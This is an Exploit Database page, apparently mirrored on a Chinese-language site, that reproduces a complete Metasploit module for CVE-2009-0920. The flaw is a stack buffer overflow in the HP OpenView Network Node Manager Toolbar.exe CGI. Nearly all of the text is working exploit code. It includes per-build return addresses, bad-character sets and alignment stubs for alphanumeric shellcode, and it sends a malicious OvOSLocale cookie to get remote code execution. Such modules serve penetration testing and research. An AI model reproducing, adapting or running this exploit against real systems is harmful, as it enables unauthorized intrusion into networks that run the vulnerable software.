HP OpenView Network Node Manager (OV NNM) – ‘Toolbar.exe’ CGI Cookie Handling Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2011-07-16
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17537/

• ##
  # $Id: hp_nnm_toolbar_02.rb 13194 2011-07-16 05:21:20Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'HP OpenView Network Node Manager Toolbar.exe CGI Cookie Handling Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.0
  				and 7.53.By sending a CGI request with a specially OvOSLocale cookie to Toolbar.exe, an
  				attacker may be able to execute arbitrary code.Please note that this module only works
  				against a specific build (ie. NNM 7.53_01195)
  			},
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 13194 $',
  			'Author' =>
  				[
  					'Oren Isacson', # original discovery
  					'juan vazquez', # metasploit module (7.0 target)
  					'sinn3r', # 7.53_01195 target
  				],
  			'References' =>
  				[
  					[ 'CVE', '2009-0920' ],
  					[ 'OSVDB', '53242' ],
  					[ 'BID', '34294' ],
  					[ 'URL', 'http://www.coresecurity.com/content/openview-buffer-overflows']
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 4000,
  					'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x7f\x3b\x2b",
  					'DisableNops'=> true, # no need
  					'EncoderType'=> Msf::Encoder::Type::AlphanumMixed,
  					'EncoderOptions' =>
  					{
  						'BufferRegister' => 'EDX'
  					}
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						#Windows XP SP3
  						'HP OpenView Network Node Manager Release B.07.00',
  						{
  							'Ret' => 0x5A212147, # ovsnmp.dll call esp
  							'Offset' => 0xFC,# until EIP
  							# Pointer to string with length < 0x100
  							# Avoid crash before vulnerable function returns
  							# And should work as a "NOP" since it will prepend shellcode
  							#'ReadAddress' => 0x5A03A225,# ov.dll
  							'ReadAddress' => 0x5A03A225,# ov.dll
  							'EDXAdjust' => 0x17,
  							# 0x8 => offset until "0x90" nops
  							# 0x4 => "0x90" nops
  							# 0x2 => len(push esp, pop edx)
  							# 0x3 => len(sub)
  							# 0x6 => len(add)
  						}
  					],
  					[
  						#Windows Server 2003
  						'HP OpenView Network Node Manager 7.53 Patch 01195',
  						{
  							'Eax' => 0x5a456eac, #Readable address for CMP BYTE PTR DS:[EAX],0
  							'EaxOffset' => 251,#Offset to overwrite EAX
  							'Ret' => 0x5A23377C, #CALL EDI
  							'Max' => 8000, #Max buffer size
  						}
  					]
  				],
  			'DisclosureDate' => 'Jan 21 2009'))
  
  		register_options( [ Opt::RPORT(80) ], self.class )
  	end
  
  	def exploit
  
  		if target.name =~ /7\.53/
  
  			#EDX alignment for alphanumeric shellcode
  			#payload is in EDI first.We exchange it with EDX, align EDX, and then
  			#jump to it.
  			align= "\x87\xfa"#xchg edi,edx
  			align << "\x80\xc2\x27"#add dl,0x27
  			align << "\xff\xe2"#jmp edx
  
  			#Add the alignment code to payload
  			p = align + payload.encoded
  
  			sploit= 'en_US'
  			sploit << rand_text_alphanumeric(247)
  			sploit << [target.ret].pack('V*')
  			sploit << rand_text_alphanumeric(target['EaxOffset']-sploit.length+'en_US'.length)
  			sploit << [target['Eax']].pack('V*')
  			sploit << rand_text_alphanumeric(3200)
  			sploit << make_nops(100 - align.length)
  			sploit << align
  			sploit << p
  			sploit << rand_text_alphanumeric(target['Max']-sploit.length)
  
  		elsif target.name =~ /B\.07\.00/
  
  			edx = Rex::Arch::X86::EDX
  
  			sploit = "en_US"
  			sploit << rand_text_alphanumeric(target['Offset'] - "en_US".length, payload_badchars)
  			sploit << [target.ret].pack('V')
  			sploit << [target['ReadAddress']].pack('V')
  			sploit << "\x90\x90\x90\x90"
  			# Get in EDX a pointer to the shellcode start
  			sploit << "\x54" # push esp
  			sploit << "\x5A" # pop edx
  			sploit << Rex::Arch::X86.sub(-(target['EDXAdjust']), edx, payload_badchars, false, true)
  			sploit << "\x81\xc4\x48\xf4\xff\xff" # add esp, -3000
  			sploit << payload.encoded
  
  		end
  
  		#Send the malicious request to /OvCgi/ToolBar.exe
  		#If the buffer contains a badchar, NNM 7.53 will return a "400 Bad Request".
  		#If the exploit causes ToolBar.exe to crash, NNM returns "error in CGI Application"
  		send_request_raw({
  			'uri' => "/OvCgi/Toolbar.exe",
  			'method'=> "GET",
  			'cookie'=> "OvOSLocale=" + sploit + "; OvAcceptLang=en-usa",
  		}, 20)
  
  		handler
  		disconnect
  	end
  
  end
  
  
  =begin
  NNM B.07.00's badchar set:
  00 0D 0A 20 3B 3D 2C 2B
  
  NNM 7.53_01195's badchar set:
  01 02 03 04 05 06 07 08 0a 0b 0c 0d 0e 0f 10 11................
  12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 7f ...............
  3b = delimiter
  2b = gets converted to 0x2b
  =end